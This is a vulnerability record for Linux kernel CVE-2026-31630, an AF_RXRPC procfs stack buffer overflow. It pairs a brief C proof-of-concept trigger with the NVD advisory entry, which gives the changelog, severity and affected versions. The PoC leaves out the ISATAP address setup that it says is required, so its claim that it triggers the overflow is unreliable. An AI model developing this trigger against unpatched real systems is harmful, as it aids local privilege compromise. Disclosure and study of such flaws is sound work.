CVE-2026-31630

// Proof of Concept for CVE-2026-31630 // This PoC demonstrates the condition for the buffer overflow. // It requires a kernel configured with AF_RXRPC and ISATAP. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #define AF_RXRPC 33 int main() { int sock; FILE *fp; char buffer[1024]; // Create an AF_RXRPC socket sock = socket(AF_RXRPC, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } // To trigger the vulnerability, the socket needs to be associated with // an address that formats to >50 bytes (e.g., ISATAP). // This usually involves configuring network interfaces. // Reading the proc file triggers the formatting logic. fp = fopen("/proc/net/rxrpc/peers", "r"); if (fp == NULL) { perror("fopen"); close(sock); return 1; } // Reading the file causes the kernel to format peer addresses // into the vulnerable stack buffer. while (fgets(buffer, sizeof(buffer), fp)) { // Process output (overflow happens in kernel space during read) } fclose(fp); close(sock); return 0; }

{"cve": {"id": "CVE-2026-31630", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:42.323", "lastModified": "2026-04-27T20:30:55.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nrxrpc: proc: size address buffers for %pISpc output\n\nThe AF_RXRPC procfs helpers format local and remote socket addresses into\nfixed 50-byte stack buffers with \"%pISpc\".\n\nThat is too small for the longest current-tree IPv6-with-port form the\nformatter can produce. In lib/vsprintf.c, the compressed IPv6 path uses a\ndotted-quad tail not only for v4mapped addresses, but also for ISATAP\naddresses via ipv6_addr_is_isatap().\n\nAs a result, a case such as\n\n [ffff:ffff:ffff:ffff:0:5efe:255.255.255.255]:65535\n\nis possible with the current formatter. That is 50 visible characters, so\n51 bytes including the trailing NUL, which does not fit in the existing\nchar[50] buffers used by net/rxrpc/proc.c.\n\nSize the buffers from the formatter's maximum textual form and switch the\ncall sites to scnprintf().\n\nChanges since v1:\n- correct the changelog to cite the actual maximum current-tree case\n explicitly\n- frame the proof around the ISATAP formatting path instead of the earlier\n mapped-v4 example"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.9.1", "versionEndExcluding": "6.18.23", "matchCriteriaId": "59855615-6720-4D3F-83EB-B5CCFD90FBD3"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.13", "matchCriteriaId": "1490EF9B-9080-481C-8D22-1306AAE664E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:4.9:-:*:*:*:*:*:*", "matchCriteriaId": "592761F7-6672-484E-8490-1187F4CDD13E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/10ebed83f9f6414af4e85bc85ffaeda7effdd874", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a44ce6aa2efb61fe44f2cfab72bb01544bbca272", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/db297c78ce537c9ac96f0eda9b25ad72c8caefa9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}